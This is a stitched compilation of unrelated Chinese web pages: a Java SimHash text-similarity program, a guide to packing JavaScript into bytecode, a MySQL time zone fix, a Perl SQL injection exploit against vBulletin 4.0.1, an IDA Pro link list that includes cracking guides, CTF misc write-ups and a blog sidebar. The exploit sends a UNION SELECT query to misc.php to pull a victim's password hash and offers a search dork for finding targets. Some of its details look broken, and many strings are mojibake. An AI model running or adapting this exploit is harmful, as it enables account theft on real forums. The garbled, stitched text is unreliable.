利用simhash计算文本相似度
摘自:http://www.programcreek.com/java-api-examples/index.php?source_dir=textmining-master/src/com/gta/simhash/SimHash.java
package com.gta.simhash;
public class Test {
public static void main(String[] args) {
// TODO Auto-generated method stub
String s3 = "�������Ϻ���������죬���������������������Ͼ������ݣ����������ţ����ϣ��ൺ���人�����ݣ����ڣ��ɶ���������̫ԭ����ɳ�����֣�������֣�ݣ���������������³ľ�룬���ݣ��������Ϸʣ��ߺ�";
String s4 = "�������Ϻ���������죬���������������������Ͼ������ݣ����������ţ����ϣ��ൺ���人�����ݣ����ڣ��ɶ���������̫ԭ����ɳ�����֣�������֣�ݣ�����";
SimHash hash1 = new SimHash(s3, 64, 8);
SimHash hash2 = new SimHash(s4, 64, 8);
hash1.getResult(hash2);
}
}
package com.gta.simhash;
import java.io.IOException;
import java.math.BigInteger;
import java.util.List;
import java.util.ArrayList;
import org.wltea.analyzer.lucene.IKAnalyzer;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.tokenattributes.CharTermAttribute;
public class SimHash {
private String tokens;
private int hashBits = 64;
private int distance = 5;
public SimHash(String tokens)
{
this.tokens = tokens;
}
public SimHash(String tokens, int hashBits, int distance)
{
this.tokens = tokens;
this.hashBits = hashBits;
this.distance = distance;
}
public List<TermDict> tokenizer()
{
List<TermDict> terms = new ArrayList<TermDict>();
IKAnalyzer analyzer = new IKAnalyzer(true);
try {
TokenStream stream = analyzer.tokenStream("", this.tokens);
CharTermAttribute cta = stream.addAttribute(CharTermAttribute.class);
stream.reset();
int index = -1;
while (stream.incrementToken())
{
if ((index = isContain(cta.toString(), terms)) >= 0)
{
terms.get(index).setFreq(terms.get(index).getFreq()+1);
}
else
{
terms.add(new TermDict(cta.toString(), 1));
}
}
analyzer.close();
} catch (IOException e) {
e.printStackTrace();
}
return terms;
}
public int isContain(String str, List<TermDict> terms)
{
for (TermDict td : terms)
{
if (str.equals(td.getTerm()))
{
return terms.indexOf(td);
}
}
return -1;
}
public BigInteger simHash(List<TermDict> terms)
{
int []v = new int[hashBits];
for (TermDict td : terms)
{
String str = td.getTerm();
int weight = td.getFreq();
BigInteger bt = shiftHash(str);
for (int i = 0; i < hashBits; i++)
{
BigInteger bitmask = new BigInteger("1").shiftLeft(i);
if ( bt.and(bitmask).signum() != 0)
{
v[i] += weight;
}
else
{
v[i] -= weight;
}
}
}
BigInteger fingerPrint = new BigInteger("0");
for (int i = 0; i < hashBits; i++)
{
if (v[i] >= 0)
{
fingerPrint = fingerPrint.add(new BigInteger("1").shiftLeft(i)); // update the correct fingerPrint
}
}
return fingerPrint;
}
public BigInteger shiftHash(String str)
{
if (str == null || str.length() == 0)
{
return new BigInteger("0");
}
else
{
char[] sourceArray = str.toCharArray();
BigInteger x = BigInteger.valueOf((long) sourceArray[0] << 7);
BigInteger m = new BigInteger("131313");
for (char item : sourceArray)
{
x = x.multiply(m).add(BigInteger.valueOf((long)item));
}
BigInteger mask = new BigInteger("2").pow(hashBits).subtract(new BigInteger("1"));
boolean flag = true;
for (char item : sourceArray)
{
if (flag)
{
BigInteger tmp = BigInteger.valueOf((long)item << 3);
x = x.multiply(m).xor(tmp).and(mask);
}
else
{
BigInteger tmp = BigInteger.valueOf((long)item >> 3);
x = x.multiply(m).xor(tmp).and(mask);
}
flag = !flag;
}
if (x.equals(new BigInteger("-1")))
{
x = new BigInteger("-2");
}
return x;
}
}
public BigInteger getSimHash()
{
return simHash(tokenizer());
}
public int getHammingDistance(SimHash hashData)
{
BigInteger m = new BigInteger("1").shiftLeft(hashBits).subtract(new BigInteger("1"));
System.out.println(getFingerPrint(getSimHash().toString(2)));
System.out.println(getFingerPrint(hashData.getSimHash().toString(2)));
BigInteger x = getSimHash().xor(hashData.getSimHash()).and(m);
int tot = 0;
while (x.signum() != 0)
{
tot += 1;
x = x.and(x.subtract(new BigInteger("1")));
}
System.out.println(tot);
return tot;
}
public String getFingerPrint(String str)
{
int len = str.length();
for (int i = 0; i < hashBits; i++)
{
if (i >= len)
{
str = "0" + str;
}
}
return str;
}
public void getResult(SimHash hashData)
{
if (getHammingDistance(hashData) <= distance)
{
System.out.println("match");
}
else
{
System.out.println("false");
}
}
}
本文转自张昺华-sky博客园博客,原文链接:http://www.cnblogs.com/bonelee/p/6423442.html,如需转载请自行联系原作者
如何保证轻应用脚本的安全
转自HaaS技术社区本文主要介绍JavaScript脚本预编译成字节码的方法,适用于加密脚本代码,保护知识产权。打包加密架构使用环境支持quickjs引擎固件不支持duktape引擎固件使用方式基于命令行工具来进行加密。命令行APIpack - 打包应用命令参数amp pack -m -e 说明将应用打包成app.bin。mode:模式,可选项 [quickjs | duktape],默认duktapeencode:编译,可选项 [0 | 1],默认0不编译,duktape不支持编译该命令执行后,生成的app.bin文件存放于执行目录。命令示例$ amp pack ./app /dev/tty.usb* -m quickjs -e 1put - 在线热更新命令参数amp put -m -e 说明远程推送轻应用到设备。mode:模式,可选项 [quickjs | duktape],默认duktapeencode:编译,可选项 [0 | 1],默认0不编译命令示例$ amp put ./app 86753456 /dev/tty.usb -m quickjs -e 1serialput - 本地热更新命令参数amp serialput -m -e -b 说明通过串口推送轻应用到设备(本地更新)。mode:模式,可选项 [quickjs | duktape],默认duktapeencode:编译,可选项 [0 | 1],默认0不编译baudrate:波特率,默认115200命令示例$ amp serialput ./app /dev/tty.usb* -m quickjs -e 1实际效果原始代码// 以控制led灯代码为例
// app.js
import * as gpio from 'gpio';
let led3 = gpio.open({
id: 'LED3',
success: function() {
console.log('gpio: open led success')
},
fail: function() {
console.log('gpio: open led failed')
}
});
let val = 0;
// 设置gpio亮灭,间隔一秒
setInterval(function() {
val = 1 - val;
led3.writeValue(val);
console.log('led set value :', val);
}, 1000);
// app.json
{
"version": "1.0.0",
"io": {
"LED3": {
"type": "GPIO",
"port": 36,
"dir": "output",
"pull": "pulldown"
}
},
"debugLevel": "DEBUG"
}未加密代码// app.bin
� ��
u6���+"��app.json{
"version": "1.0.0",
"io": {
"LED3": {
"type": "GPIO",
"port": 36,
"dir": "output",
"pull": "pulldown"
}
},
"debugLevel": "DEBUG"
}�Y�Q���-�Б%Aapp.jsimport * as gpio from 'gpio'; // app.js
var led3 = gpio.open({
id: 'LED3',
success: function success() {
console.log('gpio: open led success');
},
fail: function fail() {
console.log('gpio: open led failed');
}
});
var val = 0; // 设置gpio亮灭,间隔一秒
setInterval(function () {
val = 1 - val;
led3.writeValue(val);
console.log('led set value :', val);
}, 1000);加密代码// app.bin
� ��
u6���+"��app.json{
"version": "1.0.0",
"io": {
"LED3": {
"type": "GPIO",
"port": 36,
"dir": "output",
"pull": "pulldown"
}
},
"debugLevel": "DEBUG"
}��_$��"Ss�N�K�{�app.jsbapp.jsgpioled3valopenLED3idsuccessfailsetIntervalconsolelog,gpio: open led success*gpio: open led failedwriteValueled set value :����3�
��eB��L��L��L�$��8�����)�
07(&C�8�B��$)�]C�8�B��$)�]C#���ܟ��B��$8�B���$)�:b
mysql时区问题设置
在新的Windows环境安装mysql,启动项目后报错:
The server time zone value '�й���ʱ��' is unrecognized or represents more than one time zone.
报错时区值‘�й���ʱ��’不被识别,或该值不是合法的时区值。
解决方案:在可执行sql环境执行如下sql:
#全局设置时区为东8区,即北京时间
SET GLOBAL time_zone = '+8:00';
或
#仅修改当前会话时区
SET time_zone = '+8:00';
#立即生效修改
FLUSH PRIVILEGES;
附:windows安装mysql
vBulletin version 4.0.1 remote SQL injection exploit
#!/usr/bin/perl
use IO::Socket;
print q{
#######################################################################
# vBulletin� Version 4.0.1 Remote SQL Injection Exploit #
# By indoushka #
# www.iq-ty.com/vb #
# Souk Naamane (00213771818860) #
# Algeria Hackerz (indoushka@hotmail.com) #
# Dork: Powered by vBulletin� Version 4.0.1 #
#######################################################################
};
if (!$ARGV[2]) {
print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid
perl VB4.0.1.pl www.vb.com /forum/ 1
};
}
$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print "------------------------------------------------------------------------------------------------/r/n";
print "[>] SERVER: $server/r/n";
print "[>] DIR: $dir/r/n";
print "[>] USERID: $user/r/n";
print "------------------------------------------------------------------------------------------------/r/n/r/n";
$server =~ s/(http:////)//eg;
$path = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;
print "[~] PREPARE TO CONNECT.../r/n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED/r/n";
print "[~] SENDING QUERY.../r/n";
print $socket "GET $path HTTP/1.1/r/n";
print $socket "Host: $server/r/n";
print $socket "Accept: */*/r/n";
print $socket "Connection: close/r/n/r/n";
print "[+] DONE!/r/n/r/n";
print "--[ REPORT ]------------------------------------------------------------------------------------/r/n";
while ($answer = <$socket>)
{
if ($answer =~/(/w{32})/)
{
if ($1 ne 0) {
print "Password is: ".$1."/r/n";
print "--------------------------------------------------------------------------------------/r/n";
}
exit();
}
}
print "------------------------------------------------------------------------------------------------/r/n";
================================ Dz-Ghost Team ========================================================
Greetz : ���� ����� ����� ���� ������ 22 + ��� ����� + ��� ����� + ��� ������ + ��� �������
+ ��� ������ + ��� ������ +��� ����� + ��� ���� +��� ������ + ��� ��� ������ + ��� �����
Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.forums.ibb7.com * www.owned-m.com *Stake (v4-team.com) * www.dev-chat.com * Cyb3r IntRue (avengers team)
* www.securityreason.com * www.packetstormsecurity.org * www.best-sec.net * www.zone-h.net * www.m-y.cc
* www.hacker.ps * no-exploit.com * www.bug-blog.de * www.bawassil.com * www.host4ll.com * www.xp10.me
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com) * www.kadmiwe.net
SoldierOfAllah (www.m4r0c-s3curity.cc) * www.arhack.net * www.google.com * www.sec-eviles.com
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.arabic-m.com * www.securitywall.org
r1z (www.sec-r1z.com) * www.zac003.persiangig.ir * www.0xblackhat.ir * www.mormoroth.net
------------------------------------------------------------------------------------------------------------
IDA Pro 逆向速参(链接)
IDA Pro 逆向速参(链接)
整理:PeterDocter
逆向准备
【 IDA】使用IDA load file功能,导入JNI.h解析【JNI 函数】 - CSDN博客
IDA Pro 导入jni.h头文件定义 - CSDN博客
[讨论]IDA中F5功能反编译安卓平台的so文件得到的一个很奇怪的函数-『Android安全』-看雪安全论坛
Android调用JNI本地方法跟踪目标代码 - 山岚的一缺 - 博客园
http://www.blogbus.com/riusksk-logs/223211317.html
X86调用约定
调用约定(pascal,fastcall,stdcall,thiscall,cdecl)区别等 - CSDN博客
函數調用方式: stdcall cdecl fastcall WINAPI CALLBACK PASCAL thiscall fortran syscall declspec(naked) - textbox - IT博客
Calling Conventions Hunting | Security et alii
Guide to x86 Assembly
函数调用方式 - CSDN博客
函数的调用规则(__cdecl,__stdcall,__fastcall,__pascal) - CSDN博客
Linux下如何指定调用约定(calling convention)_Linux教程_Linux公社-Linux系统门户网站
ARM 调用约定 calling convention - OpenXC - 博客园
常用功能
IDA的导航条 - CSDN博客
IDA PRO的流程图功能 - CSDN博客
使用IDA 分析高级数据结构 - CSDN博客
IDA 使用小结 - sld666666 - 博客园
NameBright - Coming Soon
IDA 操作技巧总结(不停更新) - WanChouchou - 博客园
IDA初学者笔记之字符串分析 – 免费实用绿色软件
使用IDA的通用解压插件 - CSDN博客
使用IDC分析加密代码 - CSDN博客
看雪安全论坛
IDA 插件 idbtopat.plw的用途 - CSDN博客
IDAPython的妙用 - CSDN博客
浅谈IDA脚本在漏洞挖掘中的应用 - 博客 - 腾讯安全应急响应中心
[转帖]两个IDA PRO的插件:IDApython & IDAperl-IDA Pro插件收集区-看雪安全论坛
IDA pdb 自动下载 - CSDN博客
[分享]让WinDbg、IDA、VC自动下载符号表-『软件逆向』-看雪安全论坛
IDA修改程序反汇编代码基址 _ 程序人生
[推荐]IDA sp-analysis failed 不能F5的 解决方案之(一)-『软件逆向』-看雪安全论坛
[推荐]IDA sp-analysis failed 不能F5的 解决方案之(二)-『软件逆向』-看雪安全论坛
关于IDA显示中文字符串的问题 _ 程序人生
[原创][201605014已更新,支持了Unicode及各国字符集编码识别]改善IDA6.8对中文等非英语国家的ANSI字符串显示支持不佳的问题-『资源下载』-看雪安全论坛
Binary Cracking & Byte Patching with IDA Pro - CodeProject
http://ctf.idf.cn/index.php?g=portal&m=article&a=index&id=33
http://ctf.idf.cn/index.php?g=&m=article&a=index&id=34
Reversing C++ programs with IDA pro and Hex-rays at Aris’ Blog - Computers, ssh and rock’n roll
静态分析
http://www.ituring.com.cn/article/26962
http://www.52pojie.cn/thread-237886-1-1.html
IDA破解apk的初次尝试 - CSDN博客
Reverse Engineering破解Android NDK/JNI程式(*.so) | 阿成的技術部落格 - 點部落
google play 破解(一):钻石修改 - 低调の天空之城
以TTX连萌来多层次分析游戏破解 - 听鬼哥说故事 - CSDN博客
[原创]记一次安卓游戏破解-『Android安全』-看雪安全论坛
http://0nly3nd.sinaapp.com/?p=384
http://www.52pojie.cn/thread-390537-1-1.html
IDA如何识别ARM的main函数 - CSDN博客
��IDA��������STM32С���� - �������뵥Ƭ���� - ��ʯ��������̳ - Powered by Discuz!
IDA反编译ARM静态链接程序 - CSDN博客
IDA反汇编学习-转sanfengflying新浪博客
汇编中的call和ret - Mo cuishle - 博客园
http://sxcode.tap.cn/index/article-21nf1p3cq0104
IDAʵ���̳̣��о�̬�ѿ�ʾ����
利用IDA Pro反汇编程序 - vento - 博客园
�ٶ�–���ķ��ʳ�����
[IDA] 分析for循环的汇编代码 - hoodlum1980 - 博客园
IDA学习笔记–VS2008按钮事件捕捉 - CSDN博客
Windows消息大全————IDA使用 - r3call - 博客园
SlickeEdit 2014 | Zhiwei Li
http://zhiwei.li/text/2013/10/hopper-disassembler%E4%BF%AE%E6%94%B9%E4%B8%80%E5%AD%97%E8%8A%82%E8%A7%A3%E9%99%A4%E9%99%90%E5%88%B6/
Genymotion破解 | Zhiwei Li
http://itpark.sinaapp.com/thread-index-fid-4-tid-121.htm
IDA Pro逆向实战之Crackme(简单篇) - CSDN博客
Applied Cracking & Byte Patching with IDA Pro
动态分析
IDA配套真机ROM修改教程 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
看雪安全论坛
Android双机(网络和USB)调试及其完美ROOT - 银河使者 - 博客园
刷机包获取ROOT权限方法-木子学院
http://itdreamerchen.com/%E4%BD%BF%E7%94%A8ida%E8%B0%83%E8%AF%95apk%E4%B8%AD%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84-so%E5%BA%93/
http://itdreamerchen.com/ida%E8%B0%83%E8%AF%95apk%E4%B8%AD%E5%8A%A0%E8%BD%BD%E7%9A%84so%E5%BA%93%E4%B9%8B%E6%96%B9%E6%B3%95%E4%BA%8C/
跟着鬼哥学so修改,三,作业篇 - 听鬼哥说故事 - CSDN博客
http://drops.wooyun.org/mobile/5942
Android逆向经验总结 - CSDN博客
使用IDA调试android的c程序
软件逆向工程 | Zhiwei Li
利用IDA6.6进行apk dex代码动态调试 - bamb00 - 博客园
IDA动态调试Android的DEX文件 - CSDN博客
http://www.52pojie.cn/thread-293648-1-1.html
http://drops.wooyun.org/tips/6840
http://www.kechuandai.net/ida-pro%E8%B0%83%E8%AF%95android-apk%E7%9A%84%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5%E5%BA%93/
IDA远程调试so库JNI_Onload函数 - 太尼玛菜了 - 博客园
http://0nly3nd.sinaapp.com/?p=649
http://1.honebl.sinaapp.com/?p=213
http://www.blogbus.com/riusksk-logs/271566148.html
android在JNI_OnLoad入口函数下断点动态调试so库 - WanChouchou - 博客园
ida动态调试so,在init_array和JNI_ONLOAD处下断点 - CSDN博客
apk文件分析原则 - 寻步 - 博客园
ARM学习笔记(四) - CSDN博客
ARM指令机器码学习——反汇编必学(作者:wogoyixikexie@gliet) - CSDN博客
http://www.52pojie.cn/thread-356096-1-1.html
菜鸟总结so分析,arm 汇编,IDA静态分析 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
[原创]Android逆向so文件,调试加解读-『Android安全』-看雪安全论坛
[原创]Android逆向so文件,调试加解读-『Android安全』-看雪安全论坛
Android native反调试方式及使用IDA绕过反调试 - CSDN博客
IDA调试原生程序-ckelsel-ChinaUnix博客
IDA调试遇到的问题 - ——傻 孩 子 - 博客园
用IDA Pro调试iPhone应用程序 | Zhiwei Li
IDA + GDBServer实现iPhone程序远程调试 - CSDN博客
IDA6.1远程调试Mac OS X程序 | Zhiwei Li
看雪安全论坛
使用IDA的调试器 - CSDN博客
使用IDA的跟踪功能 - CSDN博客
使用IDA 进行远程调试 - CSDN博客
IDA 教程-隐藏 IDA 调试器 - CSDN博客
IDA 教程-脚本化的调试器 - CSDN博客
IDA调试Windows 内核 – obaby@mars
��IDA�ĵ��������ֹ��ѿǣ�PE��ʽ�ļ���
实战IDA PE+ DLL脱壳 – obaby@mars
IDA + Debug 插件 实现64Bit Exe脱壳 – obaby@mars
Applied Reverse Engineering with IDA Pro
debugging - How to debug the DLL of an EXE using IDA Pro? - Reverse Engineering Stack Exchange
IDA 教程-WINCE ARM 调试器入门教程 - CSDN博客
域名不存在 - powered by dnsdun.com
[原创]IDA Pro 5.0 动态调试 Smartphone 程序方法-『软件逆向』-看雪安全论坛
[原创]IDA远程调试WINCE程序的环境搭建-『智能设备』-看雪安全论坛
[原创]用IDA调试wince灵图13GPS程序-『智能设备』-看雪安全论坛
IDA动态调试病毒样本准备工作 - 小金马 - 博客园
http://drops.wooyun.org/tips/4523
脚本编写
ida idc函数列表全集 - Y4ng - 博客园
关于idapython编程的资料-fcc_load
Loading your own modules from your IDAPython scripts with idaapi.require() – Hex Blog
过掉百度加固的java层调试-fcc_load
IDAPython的妙用 - CSDN博客
��IDAPython��ȡ������ִ������(������������) - lixiangdong2510@126����־ - ���ײ���
使用IDAPYTHON跟踪程序执行路径-未加壳 - CSDN博客
[原创]实战IDA脚本编程–用idc实现JumpNotFunction-IDA Pro插件收集区-看雪安全论坛
浅谈IDA脚本在漏洞挖掘中的应用 - 博客 - 腾讯安全应急响应中心
[原创]破解方正软件保护卡管理员密码-『软件逆向』-看雪安全论坛
[原创][原创]Android IDA 脚本解中文字串-『Android安全』-看雪安全论坛
菜鸟IDA python调试脚本 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
菜鸟Dump Memory python 脚本 - Android安全 - 逆向未来技术社区 - Powered by Discuz!
http://drops.wooyun.org/tips/11849
http://drops.wooyun.org/tips/12060
IDAPython:让你的生活更美好(一) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(二) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(三) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(四) - FreeBuf.COM | 关注黑客与极客
IDAPython:让你的生活更美好(五) - FreeBuf.COM | 关注黑客与极客
【移动安全】ida idc脚本实现加密指令修改 - CSDN博客
实验吧 杂项
1. xor解密:
lovelovelovelovelovelovelovelove
���V���
��
�0�
�0�
�0��
������
# -*- coding:utf-8 -*-
a =open('1.txt','rb').read()
b =open('2.txt','rb').read()
lut = ' '
foriinrange(0,len(a)):
res =ord(list(a)[i]) ^ord(list(b)[i])
lut=lut +chr(res)
print lut
2.
竟然有个神奇的加密方式和蛇有关 http://serpent.online-domain-tools.com/,记录下网址
3.
defrevStr(s):
news=' '
foriinxrange(0,len(s),4):
news += s[i+2:i+4]
news += s[i:i+2]
returnnews
deffoo():
f=open('1')
s='377a'
forlineinf:
s+=revStr(line.strip()[8:].replace(' ',''))
fsave=open('1.txt','wb')
fsave.write(s)
fsave.close()
pass
if__name__ =='__main__':
foo()
print 'finished'
7z脚本,加上文件头,并把换行,序号去掉,每四个数前俩和后俩交换位置。但是最后储存的时候,还需16进制导入010再另存为.7z格式
4.
用prosessing将16进制转换为图片。
size(256,256);
String[] str = loadStrings("1.txt");
for(int i=0;i<65536;i++){
if(str[0].charAt(i)=='1'){
point(i/256,i%256);}
}
5.BAT公司信息查询系统
这个题 怪扎心的,点进去是一个表单,无论提交什么都出现同样的东西。查看页面源代码,就两个可以点的一个css和一个php,php点开什么都没有,点开css找到了一个图片,加在url后面得到一张二维码的图片,扫描二维码得到一个txt,里面有个奇奇怪怪的东西,还有个php,加在后面,然后更奇怪的出来了:┼攠數畣整爠煥敵瑳∨灯捲≤┩>,据说这个是ansi编码,需要另存为unicode编码然后再用010导入的方式打开就行了。(不知道为什么我另存的时候需要换个名字,要不以16进制打开的方式还是会错。)
6.抓到你了
打开wireshark,ping用的协议是icmp,所以过滤条件就写icmp,依次查看报文,发现第二条有data,而且是16字节,就是他了。
7.2015RCTF(misc50)
腊鸡题看代码看的我眼疼,下载下来之后拖进010里面,发现是个rar,改后缀名,用sublime打开,是sqlmap跑出来的东西。ctrl+f搜索column_name爆字段名字的,这个的下面就是报flag的字段,
从第一个flag到最后一个flag,url解码,会出现二分法爆flag表的flag字段内容,代表着每一位爆出来的字符的ascii码,将 != 后面的数字拿出来ascii解码即可。
8.NSCTF misc250
这个题看的writeup,下载来的pcapng用wireshark打开,然后在左上角点击,文件—导出对象—http—save all
得到两个文件,一个是%5c,一个是压缩文件,压缩文件需要密码
我们先看%5c,仍winhex,发现是html,改后缀打开,告诉我们密码是nsfocus+5位数字
这应该就是rar的密码,直接掩码破解,还是很快的。然后打开rar压缩包就可以了。
9.deeeeeeaaaaaadbeeeeeeeeeef-200
腊鸡火狐,图片根本打不开,换到谷歌里面,将图片保存,然后托到010里面,画图打开,根本看不懂啊,这个字怪酷的,看了下前面的信息图片是iPhone5拍摄的,查了下iphone5的分辨率,发现图片大小不一样,改一下就行了,然后就找到key了。
10.A记录
cap的数据包果断需要用wireshark分析.不过这里我们需要查询dns请求,所以需要解密cap(必须要有essid,password),甩到kali
aircrack-ng这个命令挺强的,百度的时候看到了好多可以用来破解wlan的教程,本来想试下的,但是我没有无线网卡啊,这就很尴尬了。
解完有个新的cap,打开搜索dns就能看到了。
11.绕
打开题目链接是个表单,先查看页面源代码,发现了下面这一段
_='function $(){�e=�getEle�ById("c").value;�length==16�^22a60b�0b310�e5ece$�0ebe5�){�t�U2FsdG�S481hY�7lo/�IBh2Waw==�n�VkX182�9lDS37�Dtcv78qFew�r�eA/�kNjZ1UZ�6LuMTMoP2�i�8U/2KZ�tCckgQoGA�mEapD0Y�s=[t,n,r,i];for(�o=0;o<13;++o){�[0]);�.splice(0,1)}}}\'< onclick=$()>Ok\');delete _����var �","�docu�.�)�match(/�"];��/)!=null�=["�write(�s[o%4]button�if(e.�ment';for(Y in $='�����������')with(_.split($[Y]))_=join(pop());eval(_)
我是用谷歌做的,直接f12有个console模块,将eval改成console.log,出来的内容,看下这一块
if(e.length==16)if(e.match(/^22a60b/)!=null)if(e.match(/0b310/)!=null)if(e.match(/e5ece$/)!=null)if(e.match(/0ebe5/)!=null)
拼接下得到22a60b310ebe5ece,提交到表单中,得到U2FsdGVkX182eA/8U/2KZS481hY9lDS37kNjZ1UZtCckgQoGA7lo/Dtcv78qFew6LuMTMoP2mEapD0YIBh2Waw==,又是aes对称加密,名字MD5加密,解密得到ctf%7BConsole.log%28shiyanbar%29%7D,再url解码就行了
12.雌黄出其唇吻
访问网页,只有一串字符串,而且刷新后还会变,F12查看页面源代码,什么都没有发现,网址http://ctf5.shiyanbar.com/misc/10/,加个爬虫的文件试试,于是访问http://ctf5.shiyanbar.com/misc/10/robots.txt,发现都是disallow,不能访问,但是右面进度条还没到底,拉到最下面是一个xml,于是访问http://ctf5.shiyanbar.com/misc/10//sitemap87591u096080.xml,看到两个php,/flag1241098092ewiuqu9t53.php 访问得到base加密的字符串,解密即可
13.女神
下载题目给的压缩包,解压有个txt还有一个文件夹,把文本里面的内容拿去base64解码,得到PNG开头的内容,我是将解码的内容存到txt里面又导入到010里面,但是图片就是不能打开,看了下wp,直接在python里面,open('nvshen.png','wb').write(open('C:\\Users\\cws6\\Desktop\\nvshen.txt','rb').read().decode('base64')),一个命令就搞定了,图片去百度识图就行了,对名字是中文不要符号。
14.XDCTF misc100
下载出来是两张一模一样的图片,原以为是得用steglove分析,但是看到题目提示说是brainfuck,就直接用bftools就行了,和隐写里面的brainfuck一样的操作方式。
G:\tools\信息隐藏\bftools>bftools.exe decode braincopter C:\Users\cws6\Desktop\zzzzzzyu.png --output --out.png
G:\tools\信息隐藏\bftools>bftools.exe run --out.png
15.XDCTF misc200
密码分析中,已知明文攻击(Known plaintext attack)是一种攻击模式,指攻击者掌握了某段明文 x 和对应密文 y。在所有密码分析中,均假设攻击者知道正在使用的密码体制,该假设称为Kerckhoff假设。而已知明文攻击也假设攻击者能够获取部分明文和相应密文,如截取信息前段,通过该类型攻击获取加密方式,从而便于破解后段密文。希尔密码依赖唯密文攻击较难破解,而通过已知明文攻击则容易攻破。(说了那么多,这道题其实就是知道了readme.txt的明文和密文,然后得到Encryption key
下载下来不知道是个什么格式的东西,拖到010里面,找打了五个zip压缩包,但是名字改成.zip解压需要密码,看wp说是有两个压缩包,但是我找到了五个啊。。本来想着直接010阶段分开的,但是不知道为什么只把后两个截出来的话前面就死了,然后就foremost分离了,得到两个压缩包
root@kali:~# foremost '/root/Desktop/areyoukidding'
两个readme.txt的CRC相同,所以这应该就是相应的明文和密文,使用ARCHPR
得到所示的三个密钥就可以解密了,解压后的文件夹中的flag.txt就是flag
16.你有记日志的习惯吗
不知道该怎么形容这个题,下载的时候那么大,其实是很懵的这要找到啥时候啊,然后默默翻了下评论,在\www\lampp\etc这个文件下面有个my.cnf 搜索key得到password=YouGotIt!@#$
17.这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?
通过观察可以大概判断192.168.30.101 给服务器上了菜刀。因为菜刀是以POST方式发送数据的,我们过滤http,然后查看那些post,随便打开一条,在下面HTML里面可到BASE64加密后的Value值,通过解密就可以很显示的看到菜刀指令。可以将那些value值都base64解码一下,很快就能找到了。
18.Only one file
下载下来拖到binwalk里面
binwalk /root/Desktop/onlyOneFile
不知道为啥我没用-e直接解出来了。。然后将图片合成一张
cat /root/Desktop/onlyOneFile1/* > one.png
图片拖到010里面没找到什么有用的东西,又用steglove还是没找到什么东西,看下面评论说是adobe firework的,我们需要用firework打开,百度了下这个东西,就不想安装了,ps打开还不行就不做了。。据说是这个里面有个二维码反色下扫描就行了。
蓝色缎带--使用CSS制作标题栏示例
The secret of greatness is simple: do better work than any other man in your field - and keep on doing it.
导航
BlogJava
首页
新随笔
联系
聚合
管理
2009年8月
>
日
一
二
三
四
五
六
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
2
3
4
5
统计
随笔 - 370
文章 - 1
评论 - 149
引用 - 0
公告
何杨,78年生人,00年毕业于同济大学,02年正式进入IT行业,先后就职于国企,民企,外企,现供职于IBM Dalian GDC。
一向以程序员自居,坚持走技术路线,欣赏螺丝壳里做道场的钻研态度;坚持认为知识是智慧之源,相信知识能改变命运;相信决定论,唾弃一神论和不可知论。
虽时运不济,但相信己才终有一天能得以发挥,为这一条早日到来我正在进行积极准备。
常用链接
我的随笔
我的文章
我的评论
我的参与
最新评论
留言簿(10)
给我留言
查看公开留言
查看私人留言
随笔分类
DB2(1) (rss)
GUI(14) (rss)
HTML/CSS(7) (rss)
Jacob(4) (rss)
JavaScript/DHTML(15) (rss)
NETWORK(7) (rss)
Oracle(8) (rss)
SECURITY(4) (rss)
SOA(6) (rss)
Spring(1) (rss)
TeamBiz(15) (rss)
Teambiz2(6) (rss)
TIPS(36) (rss)
WEBLOGIC(4) (rss)
WebSphere(2) (rss)
WMB(18) (rss)
XSLT(3) (rss)
回顾(7) (rss)
待办(1) (rss)
思考(6) (rss)
拙作(13) (rss)
数据结构与算法(1) (rss)
科学漫谈(1) (rss)
箴言录(13) (rss)
编码加密解密(14) (rss)
计划(2) (rss)
转载(14) (rss)
相册
8thCisis
SqlToolBox
相册一
个人常用链接
51CTO
Box网络上传下载
CSDN
IP地址手机号查询
VOA English
VVG的前端设计
前端设计师聂微东
多特软件站
大连建设网
常用Jar包对照表
常用网址总汇
我的文艺科技博客
我的股票博客
招商银行
绿软发布页
最新随笔
1.�0�2再议关于父子窗口通信问题
2.�0�2一种安全的给页面组件添加事件的方法
3.�0�2JS中类似于Map的数据结构
4.�0�2箴言录2012年5月4日
5.�0�2ZT:10个步骤让你成为高效的Web开发者
6.�0�2箴言录2012年4月29日
7.�0�2ZT:公司绝对不会告诉你的潜规则
8.�0�2将页面组件的事件绑定到带参数的函数上
9.�0�2箴言录 2012年4月27日
10.�0�2网页上类似Excel效果的可编辑表格示例
积分与排名
积分 - 107959
排名 - 201
最新评论
1.�0�2re: 在页面打开SWF文件的代码
@圆圆改了src就行。
--何杨
2.�0�2re: IMSample下载地址
我主要想借此学习一下代码规范性设计方面的东西,其次若有好的思想也借鉴一下。楼主回复及时,支持楼主一个。
--xuelang
3.�0�2re: IMSample下载地址
这把应该可以了。这个小程序只是一时兴趣,维护已经没太多意义了。
--何杨
